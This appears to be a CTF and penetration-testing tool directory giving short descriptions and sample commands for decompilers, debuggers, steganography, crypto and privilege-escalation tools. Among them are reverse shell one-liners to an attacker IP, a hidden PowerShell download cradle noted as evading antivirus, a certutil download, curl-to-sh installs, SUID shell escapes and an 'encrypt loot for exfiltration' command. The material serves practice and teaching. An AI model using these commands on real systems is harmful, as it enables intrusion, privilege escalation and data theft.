Tools

Python binary analysis platform combining symbolic execution, CFG recovery and taint tracking — the go-to for scripting a solve against a stripped pwn or reversing binary.

python3 -c "import angr; p = angr.Project('./chall'); print(p.factory.entry_state())"

awk's system() function runs an arbitrary command — another common SUID-binary shell-breakout primitive from GTFOBins.

awk 'BEGIN {system("/bin/sh")}'

Populates a lab Active Directory with thousands of realistic-looking users, groups and misconfigurations, so BloodHound/PingCastle tooling has something non-trivial to chew on.

.\Invoke-BadBlood.ps1

Commercial disassembler and decompiler (with a free Cloud/Personal tier) built around a scriptable intermediate-language stack (LLIL/MLIL/HLIL) that is friendlier to automate than most.

Binary diffing tool (originally Zynamics, now Google) that matches functions between two versions of a binary — invaluable for spotting exactly what a patched-vs-unpatched CTF binary changed.

Visualizes a binary file as a space-filling curve image, making repeated structure, embedded files, and anomalies visually obvious — useful both for RE triage and for spotting a likely stego carrier.

Recovers the internal keys of legacy ZipCrypto encryption via a known-plaintext attack — give it a few known bytes from any file in the archive and it derives the keys to decrypt the rest.

bkcrack -C secret.zip -c cipher.bin -p plain.bin

Heuristic identifier that suggests which classical cipher or encoding a piece of ciphertext most likely came from, based on its character set and statistical shape.

All-in-one Java/Android reverse engineering GUI bundling several decompilers (Procyon, CFR, FernFlower) side by side plus a bytecode editor and debugger.

Complete number field sieve implementation for factoring very large RSA moduli — the tool of last resort once yafu/msieve are too slow for the key size involved.

Multi-architecture disassembly engine and library (with Python/C/Rust/… bindings) that many other RE tools — including Frida and Qiling — embed rather than write their own.

python3 -c "import capstone"

certutil's -decode flag doubles as a base64 decoder, useful when nothing else on the box will do it for you.

certutil -decode encoded.b64 decoded.bin

certutil is signed, present on every Windows box by default, and nobody expects it to make HTTP requests — a classic LOLBAS download primitive.

certutil.exe -urlcache -split -f http://10.10.14.7:8000/file.exe file.exe

Actively maintained Java decompiler that copes well with modern bytecode and mildly obfuscated class files.

java -jar cfr.jar ./Challenge.class --outputdir out

Memory scanner, debugger and code injector originally built for game hacking — the go-to tool for CTF "game reversing" challenges that ask you to find and patch a value in a running process.

Reports which exploit-mitigating protections (RELRO, stack canary, NX, PIE, RPATH) a binary was built with, the first thing to run against any new CTF pwn challenge.

checksec --file=./chall
# or from a pwntools script:
python3 -c "from pwn import *; print(ELF('./chall').checksec())"

A one-line check for the classic misconfiguration where any user can run an MSI as SYSTEM — if both registry values come back 1, it is exploitable.

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

A one-line sanity check that should always return nothing — if it returns something, that box has a serious permissions bug worth reporting.

ls -la /etc/shadow /etc/gshadow 2>/dev/null

Reports which exploit mitigations (NX, PIE, RELRO, canaries, stripped symbols) a binary was built with — the first command run against any new pwn challenge.

checksec --file=./chall

Automated decoding tool that tries to work out what encoding or cipher was used on a blob of text (base64, ROT13, Vigenère, hashes, and combinations of them) without being told.

ciphey -t "encrypted text"

Community-maintained repository of "crackmes" — small deliberately-obfuscated binaries for practicing reverse engineering, searchable by language, platform and difficulty.

A quick privesc check: scheduled jobs run as another (often more privileged) user are a common escalation path if their script or binary is writable by you.

for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; sudo -u "$u" crontab -l 2>/dev/null; done

Browser-based pipeline editor for chaining encodings and classical ciphers (base64, Caesar, Morse, binary, and more) to decode a multi-layered CTF puzzle step by step.

Gamified platform for learning cryptography by breaking progressively harder CTF-style crypto challenges, from classical ciphers through RSA, ECC and modern primitives.

Trail of Bits' long-running reference covering pwn, reversing, crypto and steganography techniques for CTF play — dated in places but still a solid first read for each category.

Zardus's collection of install scripts for a wide range of CTF tools, used to quickly provision a fresh box with a working pwn/RE toolchain instead of installing everything by hand.

./ctf-tools/pwntools/install.sh

The most widely used open-source platform for running a CTF competition — challenges, scoreboard, teams and hints — the base most community CTFs deploy rather than build from scratch.

Qt GUI built on top of Rizin, giving radare2-family analysis a graph view, decompiler panes and debugger without living in the r2 command line.

GCHQ's "Cyber Swiss Army Knife" — a browser-based drag-and-drop pipeline for encoding, decoding, encryption and data-format transforms, arguably the single most-used CTF crypto/forensics tool there is.

Enormous library of online solvers and identifiers for classical ciphers, encodings and CTF-favourite puzzle formats — often the fastest way to identify what you are even looking at.

Deobfuscator for .NET assemblies that recognises and reverses common obfuscators (ConfuserEx, Babel, etc), a frequent prerequisite before a .NET CTF binary can be decompiled cleanly.

de4dot ./chall.exe

Python bytecode decompiler for 3.7-3.8 .pyc files — turns a compiled Python challenge back into readable source.

decompyle3 challenge.pyc

Signature-based packer, compiler and file-type identifier for PE/ELF/Mach-O binaries — the modern, actively maintained successor to PEiD for "what packed this".

diec ./sample.exe

Advanced binary diffing plugin for IDA/Ghidra with more heuristics than BinDiff for matching renamed or restructured functions across versions.

.NET assembly debugger, editor and decompiler in one — lets you set breakpoints and edit method bodies live inside a decompiled .NET binary, common in CTF "unmanaged reversing" of C# challenges.

.NET assembly editor, debugger and decompiler in one — edit IL or C# in place and re-save the assembly. The dnSpyEx fork carries on the original, now-archived dnSpy project.

Base64-wrapping a command and decoding it inline is a quick way past a filter that blocks certain characters in a command-injection point.

echo 'aWQ7d2hvYW1p' | base64 -d | bash

Reads, writes and edits metadata across an enormous range of file formats — the standard tool for pulling (or stripping) EXIF, GPS and authorship data out of files.

exiftool suspicious.jpg

Series of downloadable VM-based wargames (Phoenix, Nebula, Fusion and others) teaching binary exploitation fundamentals step by step.

Public database of pre-computed integer factorizations — before spinning up a sieve, check whether someone already factored the exact RSA modulus a challenge gave you.

Brute-force and dictionary password cracker for ZipCrypto-protected archives — the go-to before reaching for bkcrack's known-plaintext approach.

fcrackzip -u -D -p rockyou.txt secret.zip

NCC Group's automated cryptanalysis tool — feeds ciphertext through a battery of checks for weak or misused crypto (ECB, small keyspace, XOR, RSA flaws) rather than guessing by hand.

python featherduster.py

A fast web fuzzer written in Go — content discovery, virtual-host fuzzing and parameter fuzzing, all through one flexible FUZZ-keyword syntax.

ffuf -u http://target/FUZZ -w wordlist.txt -mc all -fc 404

Identifies a file's actual type by inspecting its content (magic bytes) rather than trusting its extension — the very first command to run on anything unidentified.

file suspicious.bin

A GTFOBins classic: find's -exec flag runs an arbitrary command, so a SUID find binary hands you a root shell outright.

find . -exec /bin/sh -p \; -quit

A one-liner CTF/OSCP staple: lists every SUID-bit binary on the filesystem, which you then cross-reference against GTFOBins for a breakout primitive.

find / -perm -4000 -type f 2>/dev/null

A file that root owns but anyone can write to is often the difference between a foothold and full compromise — this finds every one on the box.

find / -writable -user root -type f 2>/dev/null | grep -v "^/proc"

IDA/Ghidra plugin that scans a binary for known cryptographic constants (AES S-boxes, SHA/MD5 initialisation vectors, CRC tables) and flags exactly where a crypto routine sits.

Built-in findstr recurses a directory tree grepping for a string — handy for hunting "password" in config files without installing anything.

findstr /si password *.txt *.config *.ini *.xml

Mandiant's tool for extracting obfuscated/encoded strings from a binary by emulating the routines that decode them at runtime — surfaces strings plain `strings` cannot see.

floss ./chall

Decodes, brute-forces and re-signs Flask's itsdangerous-based session cookie, recovering the app's SECRET_KEY from a wordlist and letting you forge an arbitrary session.

flask-unsign --unsign --cookie "<session_cookie>" --wordlist rockyou.txt

A file-carving tool that recovers files from a disk image or raw data stream based on headers and footers, independent of the filesystem metadata around them.

foremost -i disk.img -o carved/

Dynamic instrumentation toolkit for injecting JavaScript into a running process to hook functions, dump traffic or bypass checks — as at home reversing a mobile app as a native binary.

frida -U -f com.target.app -l hook.js --no-pause

The GNU Debugger, and GEF — the plugin that turns it into a usable exploit-development environment with heap analysis, ASLR/PIE-aware context, and pwn-focused conveniences GDB alone doesn't have.

gdb -q ./binary

Another exploit-dev focused GDB plugin, with heap/format-string/ropper helpers and a large command set; the main alternative to pwndbg.

bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

Generates a De Bruijn-style non-repeating pattern to feed a crashing binary, then recovers the exact byte offset to the overwritten return address/register from the crash value.

python3 -c "from pwn import *; print(cyclic(200))"
# after the crash, recover the offset from the corrupted value:
python3 -c "from pwn import *; print(cyclic_find(0x6161616161616161))"

NSA's free, open-source software reverse-engineering suite — disassembler, decompiler and a scripting API, the free alternative most people reach for before IDA Pro.

Hides a message inside a GIF by shuffling its colour palette order rather than touching pixel data, leaving the visible image completely unchanged.

gifshuffle -p "password" cover.gif out.gif secret.txt

Downloads and builds any historical glibc version with debug symbols so a pwn exploit can be developed and tested against the exact libc the target ships.

./download.sh
./build.sh 2.31-0ubuntu9.9 amd64

Curated database of Unix binaries that can be abused to bypass local security restrictions (privesc, shell escape, file read/write) once you already have limited execution.

Older interactive Python tool for guessing a hash's algorithm from its format — largely superseded by hashID/Name-That-Hash but still shipped on many distros.

python hash-identifier.py

The world's fastest password-recovery tool — GPU-accelerated cracking across hundreds of hash modes, from a straight dictionary attack to rule-based and mask attacks.

hashcat -m 1000 -a 0 hashes.txt rockyou.txt

Identifies possible hash types from a string and reports the matching Hashcat mode number(s) — a lighter, older tool than Name-That-Hash but still widely referenced.

hashid <hash>

Performs the hash length extension attack against MD5/SHA1/SHA256/SHA512-based MACs, forging a valid hash for attacker-appended data without knowing the secret key.

hashpump -s <hash> -d <data> -k <keylen> -a <append>

Commercial disassembler/decompiler for macOS and Linux binaries (x86/x64/ARM), a common pick where Ghidra/IDA feel heavier than a single-binary CTF challenge needs.

Shellphish's collection of annotated, runnable examples of glibc heap exploitation techniques (fastbin dup, unsafe unlink, tcache poisoning and more) across libc versions — the standard reference for learning heap pwn.

Open-source .NET decompiler with a CLI (ilspycmd) for scripted use alongside the desktop app, decompiling IL back to readable C#.

ilspycmd MyAssembly.dll -o out/

Hex editor built for reverse engineering, with a C++-like pattern language for describing and colour-highlighting a binary format live as you scroll through it.

Windows debugger built for exploit development, with a Python API and the PyCommands ecosystem (mona.py) that a lot of older exploit-dev writeups still assume.

Standalone Java decompiler GUI for browsing .class/.jar bytecode as reconstructed source — quick and disposable compared to a full IDE decompiler plugin.

A long-standing password cracker supporting hundreds of hash and cipher types, with the community "jumbo" fork adding formats and features far beyond the base distribution.

john --wordlist=rockyou.txt hashes.txt

Simple JPEG steganography tool for hiding and revealing data in the DCT coefficients of a JPEG file — a common CTF format that plain LSB-in-PNG tools do not handle.

jsteg reveal in.jpg out.txt

The Debian-based Linux distribution built specifically for penetration testing, security research and forensics — hundreds of tools preinstalled and maintained by Offensive Security.

IDA plugin that uses Keystone to assemble and patch instructions directly in the disassembly view, instead of hand-editing raw bytes.

Multi-architecture assembler framework from the Capstone team — turns assembly text back into machine code for shellcode and patch development.

Java decompiler and assembler that specifically handles malformed or deliberately obfuscated class files other decompilers choke on — a favourite when a CTF Java challenge fights back.

Lists a binary's dynamic library dependencies and where it resolves them from — if one resolves to a directory you can write to, that's a privesc primitive.

ldd ./suspicious-binary

Local database and search tool for identifying which glibc build a leaked symbol address or offset belongs to, once you have leaked one libc pointer.

./find printf 7c0

Python library that searches a local libc-database for the exact libc version matching one or more leaked symbol addresses, then resolves the offsets of other symbols in it.

Finds services whose executable path contains a space and no quotes — a classic Windows privilege-escalation vector if you can drop a file into one of the ambiguous path segments.

Get-WmiObject win32_service | Where {$_.PathName -notlike 'C:\Windows*' -and $_.PathName -notlike '"*'} | Select Name,PathName

Queries the public libc.rip / libc-database mirror with one or more leaked symbol addresses to identify the exact libc build a remote pwn target is running.

curl -s https://libc.rip/api/find -H 'Content-Type: application/json' -d '{"symbols":{"printf":"0x7f..."}}'

Trail of Bits' symbolic execution tool for exploring a binary's (or EVM contract's) execution paths and generating concrete inputs that reach a chosen state.

manticore ./chall

Hides data inside an MP3 file during the compression process itself, rather than after encoding — a common source for CTF "hidden data in this audio file" challenges.

Fast implementation of the quadratic sieve and number field sieve for integer factorization, one of the tools yafu calls out to for larger moduli.

./msieve -f n

Identifies the likely algorithm(s) behind a hash string and can hand off straight into Hashcat/John — a modern, actively maintained replacement for hashID/hash-identifier.

nth -t <hash>

The original "TCP/IP swiss army knife" — reads and writes across network connections from the command line, and the tool almost every reverse shell one-liner assumes is on the box.

nc -lvnp 4444

Network Mapper — port scanning, service/version detection and scriptable auditing (NSE) for discovery and security assessment.

nmap -sC -sV -T4 -oA initial <ip or host>

Runtime mobile exploration toolkit built on Frida that works without a jailbreak/root — bypass SSL pinning, dump the keychain/keystore, patch an app, all interactively.

objection -g com.target.app explore

Finds single-address "one gadget RCE" offsets inside a given libc that pop a shell if a small set of register/memory constraints happen to hold — a pwn-exploit shortcut.

one_gadget ./libc.so.6

openssl is on almost every box already; this is the fastest way to symmetrically encrypt/decrypt a file for exfiltration without pulling in gpg.

openssl enc -aes-256-cbc -salt -in loot.tar -out loot.tar.enc -k <passphrase>
# decrypt: openssl enc -d -aes-256-cbc -in loot.tar.enc -out loot.tar -k <passphrase>

Universal steganographic tool that hides data in JPEG (and other) images while preserving the cover's statistical properties, making it harder to detect than naive LSB embedding.

outguess -k "key" -d hidden.txt cover.jpg stego.jpg

Classic set of SSH-accessible wargames (Bandit, Narnia, Krypton and more) teaching Linux, binary exploitation and cryptography fundamentals level by level.

ssh [email protected] -p 2220

Automates padding oracle attacks against CBC-mode ciphertext (cookies, tokens) when an application leaks a distinguishable error for bad padding.

perl padbuster.pl http://target/ <encrypted> 8 -cookies "auth=<value>"

Fast CLI/library for exploiting CBC padding oracles, decrypting or forging ciphertext by repeatedly resubmitting modified blocks and reading the oracle's pad-valid/invalid signal.

padding-oracle-attacker decrypt -u https://target/decrypt --data "$CT" --error-string "invalid padding"

Modifies an ELF's dynamic linker (interpreter) and RPATH after the fact — the standard way to force a CTF pwn binary to run against a downloaded libc instead of the host's.

patchelf --set-interpreter ./ld-2.31.so --set-rpath . ./chall

GUI PE file analyzer for inspecting and editing headers, sections, imports and resources of Windows executables — a staple for manual PE malware/CTF triage.

The standard privilege-escalation enumeration scripts for CTF and OSCP-style practice — linPEAS for Linux, winPEAS for Windows — colour-coded output that flags the most promising misconfigurations first.

curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Python Exploit Development Assistance for GDB — an older but still-used GDB enhancement predating pwndbg/GEF, with register/stack context and pattern-offset helpers.

echo "source ~/peda/peda.py" >> ~/.gdbinit

Carnegie Mellon's beginner-friendly CTF, whose archive of past-competition challenges stays open year-round as a practice platform across binary, crypto, web and forensics categories.

Validates a PNG file's chunk structure and reports corruption, unusual/nonstandard chunks or data appended after the IEND marker — a quick check before hunting for hidden data manually.

pngcheck -v suspicious.png

The classic PowerShell download cradle: pulls a script into memory and runs it without touching disk, so a file-based AV signature never gets a chance to fire.

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7:8000/script.ps1')"

Collection of LD_PRELOAD libraries (desock, patchmain and others) that make CTF pwn binaries easier to run and fuzz locally, e.g. turning a socket-only server into one that reads stdin.

LD_PRELOAD=./desock.so ./chall

Python library implementing several integer factorization algorithms (Pollard rho, Pollard p-1, ECM, multi-polynomial quadratic sieve) as an importable factor() function for solve scripts.

python3 -c "import primefac; print(list(primefac.primefac(N)))"

Java decompiler with particularly good handling of modern language features (lambdas, generics) compared to older decompilers.

java -jar procyon.jar -o out ./Challenge.class

Long-running wargame focused on system/binary exploitation ("pwnable") challenges of increasing difficulty, one of the most cited practice grounds for CTF pwn.

Taiwan-based binary exploitation wargame in the same spirit as pwnable.kr, with a broad and well-regarded set of pwn challenges.

Post-exploitation platform that upgrades a raw reverse/bind shell into a persistent, scriptable session with file transfer, privesc enumeration and a local C2-style console.

pwncat-cs -lp 4444

GDB plugin adding heap/memory visualisation, exploit-dev commands and better context display for pwn work — one of the two dominant GDB enhancements alongside GEF.

echo "source ~/pwndbg/gdbinit.py" >> ~/.gdbinit

scwuaptx's GDB script (Pwngdb) and companion IDA Pro plugin (angelheap) for visualising glibc heap chunks, bins and tcache state during a heap exploitation session.

Automates the pwn-challenge setup chores: patches a binary's interpreter/rpath to a given libc, fetches a matching ld.so, and scaffolds a pwntools solve script.

pwninit

A Python CTF/exploit-development library — process interaction, packing/unpacking, ROP chain building and remote connection handling, the framework almost every pwn writeup script is built on.

from pwn import *
p = remote('target', 1337)

C++ Python bytecode decompiler covering a much wider range of Python versions than most pure-Python decompilers, handy when a challenge ships an unusual interpreter version.

./pycdc challenge.pyc

os.system() from a SUID or sudo-permitted python binary spawns a shell that keeps the elevated privilege — the same idea as the find/awk/vim primitives.

python3 -c 'import os; os.system("/bin/sh")'

No jq installed? Python's json.tool module is on every box that has Python and does the same job for a quick read.

curl -s https://api.target.tld/data | python3 -m json.tool

Higher-level binary emulation framework built on Unicorn that emulates whole userspace programs (Linux/Windows/macOS/firmware) including syscalls, letting you run a target off its own OS.

qltool run -f ./sample --rootfs ./rootfs

Checks FactorDB's public database for a known factorization of an RSA modulus before spending time on local factoring tools — a very common first move in CTF RSA challenges.

curl -s "http://factordb.com/api?query=$N" | python3 -m json.tool

A fast triage check for CTF/pentest boxes — cgroup contents and the presence of .dockerenv are the two most reliable tells.

cat /proc/1/cgroup 2>/dev/null; ls -la /.dockerenv 2>/dev/null

The short-form reverse shells worth memorising when you only have one shot at a command injection — pick whichever interpreter is actually on the target.

bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
perl -e 'use Socket;$i="10.10.14.7";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("10.10.14.7",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Automatic solver for monoalphabetic substitution ciphers and cryptograms, using letter frequency and dictionary matching to recover plaintext without a known key.

A free, scriptable reverse-engineering framework — disassembler, debugger, hex editor and binary analysis in one command-line-first toolset, with the Cutter GUI on top for those who want it.

r2 -A ./binary

CTF hosting platform originally built by redpwn for its own large-scale public competitions, offered as an alternative to CTFd for teams running a CTF.

Avast's open-source retargetable machine-code decompiler covering several architectures (x86, ARM, MIPS, PowerPC) and executable formats, usable as a CLI or library.

retdec-decompiler ./chall

Reverse-engineering focused wargame site with a long-standing set of crackme-style challenges.

Community fork of radare2's core, focused on a cleaner API and UX while keeping the same disassembly/analysis engine; Cutter is its official GUI front end.

rz-bin -I ./binary

A structured series of binary exploitation challenges purpose-built to teach ROP techniques, with the same challenge repeated across x86, x86-64, ARM and MIPS builds.

Scans a binary for usable ROP/JOP gadgets and can auto-build a full ROP chain — the standard first step once a pwn challenge needs code reuse instead of shellcode.

ROPgadget --binary ./chall --ropchain

Automatic ROP chain generator that reasons about gadget semantics rather than just pattern-matching mnemonics, so it can combine several gadgets to satisfy a constraint no single gadget meets.

Gadget finder and ROP-chain builder similar to ROPgadget, with its own semantic gadget search (e.g. "pop rdi; ret") across ELF/PE/Mach-O.

ropper --file ./chall --search "pop rdi"

Automates a long list of known RSA attacks (Wiener, Fermat, common factor, small e, Coppersmith and more) against a given public key, and decrypts the ciphertext if one lands.

python3 RsaCtfTool.py --publickey key.pub --uncipherfile flag.enc

Derives a complete RSA private key from any sufficient subset of known parameters (p, q, n, e, d, phi) — handy when a CTF challenge leaks partial key material instead of the full key.

rsatool.py -p <p> -q <q> -e 65537 -o key.pem

Full computer algebra system with deep number-theory and elliptic-curve support — the usual scripting environment for hand-rolled RSA/ECC/lattice attacks that go beyond canned tools.

sage -c "print(factor(n))"

Dumps and disassembles a running process's seccomp-BPF syscall filter, which pwn challenges use to restrict which syscalls a shellcode-based exploit is allowed to make.

seccomp-tools dump ./chall

Shellcode development toolkit for converting between asm/opcode/C-string/objdump representations and testing shellcode in an isolated environment.

Whitespace steganography tool — hides a message in the trailing spaces and tabs at the end of text lines, invisible unless you go looking for it (or view the file with tabs shown).

snow -C -m "secret" cover.txt stego.txt

Audio analysis application with a detailed spectrogram view, the standard way to visually reveal a message or image hidden in an audio file's frequency content.

Encodes a hidden image or message into an audio file such that it only becomes visible as a spectrogram — the tool behind the "load the WAV in Sonic Visualiser" CTF trope.

python spectrology.py -i secret.png -o out.wav

Automates detecting and exploiting SQL injection vulnerabilities, including database fingerprinting, data extraction and, where the DBMS allows it, OS command execution.

sqlmap -u 'http://target/?id=1' --batch --dbs

netstat is deprecated on most modern distros; ss is the built-in replacement for a quick "what is this box listening on" check.

ss -tulnp

Dictionary brute-forcer for steghide-protected files, wrapping steghide itself in a loop over a wordlist — Stegseek is the faster modern replacement for the same job.

stegcracker image.jpg rockyou.txt

Steganalysis tool that scores a set of PNG/BMP images for likely LSB steganography, useful for triaging which of many images in a CTF archive is worth digging into by hand.

java -jar StegExpose.jar images/

A steganography tool that hides data inside JPEG, BMP, WAV and AU files, with optional passphrase-based encryption — the classic CTF stego first-try.

steghide extract -sf image.jpg

Steganography toolkit that automates the usual checklist against an image — metadata, LSB extraction, bit-plane dumps, colour-channel splits, and running other steg tools for you.

stegoveritas.py image.png

Extremely fast steghide passphrase cracker (thousands of times faster than brute-forcing steghide itself) that tries an entire wordlist against a JPEG/BMP/WAV/AU carrier.

stegseek carrier.jpg rockyou.txt

Java GUI for stepping through bit planes, colour channels, palettes and frames of an image — the classic manual-inspection tool for image steganography before scripting anything.

java -jar stegsolve.jar

Traces every syscall a binary makes — the fastest way to spot a privesc-relevant file it reads/writes, or a library it loads from a writable path.

strace -f -e trace=open,openat,execve ./suspicious-binary 2>&1 | less

Extracts printable character sequences from a binary file — the first, fastest thing to run against any unknown file, from GNU binutils.

strings -n 8 suspicious.bin | less

The very first command in any Linux privesc checklist: lists every command the current user is allowed to sudo, which is the input GTFOBins entries actually key off.

sudo -l

systemctl status pipes its output through less by default; from inside that pager, !/bin/sh spawns a shell — a real GTFOBins entry that surprises a lot of people.

sudo systemctl status trivial-rce-cve
# once the pager opens, type: !/bin/sh

GNU tar's --checkpoint-action flag can be abused to run an arbitrary command mid-archive — one of the less obvious GTFOBins entries.

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Kali-based virtual machine pre-loaded with the OSINT tooling Trace Labs uses in its missing-persons CTFs, a ready-made environment rather than a single tool.

Dynamic binary analysis library combining symbolic execution and taint analysis, usable as a scriptable engine for deobfuscation and constraint solving in RE work.

Lightweight, multi-architecture CPU emulator library used to run a snippet of machine code (or an entire firmware routine) in isolation to observe its behaviour without real hardware.

Turns a bare reverse/bind shell into a full interactive TTY with job control, tab completion and arrow keys.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background it and fix the terminal:
# ^Z
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200

The ultimate packer for executables — used legitimately to shrink binaries, but in CTF reversing it usually shows up the other way round: unpacking a UPX-wrapped challenge binary.

upx -d packed_binary

vim's :! escape runs a shell command — with sudo vim or a SUID vim binary that shell inherits the elevated privilege.

vim -c ':!/bin/sh'

The standard open-source memory forensics framework — extracts processes, network connections, injected code and more from a RAM capture across Windows, Linux and macOS.

vol -f memdump.raw windows.pslist

LSB steganography tool for hiding and extracting data in WAV audio files, part of a small suite alongside a matching PNG LSB tool.

python3 WavSteg.py -r -s cover.wav -o out.txt -n 2

The world's most widely used network protocol analyzer — deep inspection of hundreds of protocols, live capture and offline analysis, with a filter language everyone in the field eventually learns.

wireshark -i eth0 -k

Open-source user-mode x86/x64 debugger for Windows with a plugin ecosystem (ScyllaHide, x64dbgpy) that is the de facto free alternative to OllyDbg/Immunity on modern binaries.

Recovers a repeating XOR key by XOR-ing ciphertext against a guessed plaintext fragment (a crib like "flag{"), a fast manual technique when the key is shorter than or equal to the crib.

python3 -c "
ct = bytes.fromhex('...')
crib = b'flag{'
print(bytes(c ^ k for c, k in zip(ct, crib)))
"

Guesses the key length of a repeating-key XOR ciphertext from character-frequency analysis, then recovers the most likely key.

xortool ciphertext.bin -l 4

"Yet Another Factoring Utility" — automatically picks and runs the best available factoring algorithm (ECM, SIQS, NFS) for a given integer, useful once a modulus is too big for trial division.

./yafu "factor(n)"

Microsoft's SMT solver, used constantly in CTF reversing and crypto to turn 'find x such that these constraints hold' into a script instead of manual algebra — a frequent shortcut past custom validation logic.

python3 -c "
from z3 import *
x = BitVec('x', 32)
s = Solver()
s.add(x * 3 + 7 == 100)
print(s.check(), s.model())
"

Microsoft Research's SMT solver, scripted from Python to encode a challenge's constraints (a keygen check, a crypto relation, a logic puzzle) and let the solver produce a satisfying input.

python3 -c "from z3 import *; s = Solver()"

Detects hidden data stashed in the low bits of PNG and BMP pixel data — the standard second stego check after steghide comes up empty on an image.

zsteg -a image.png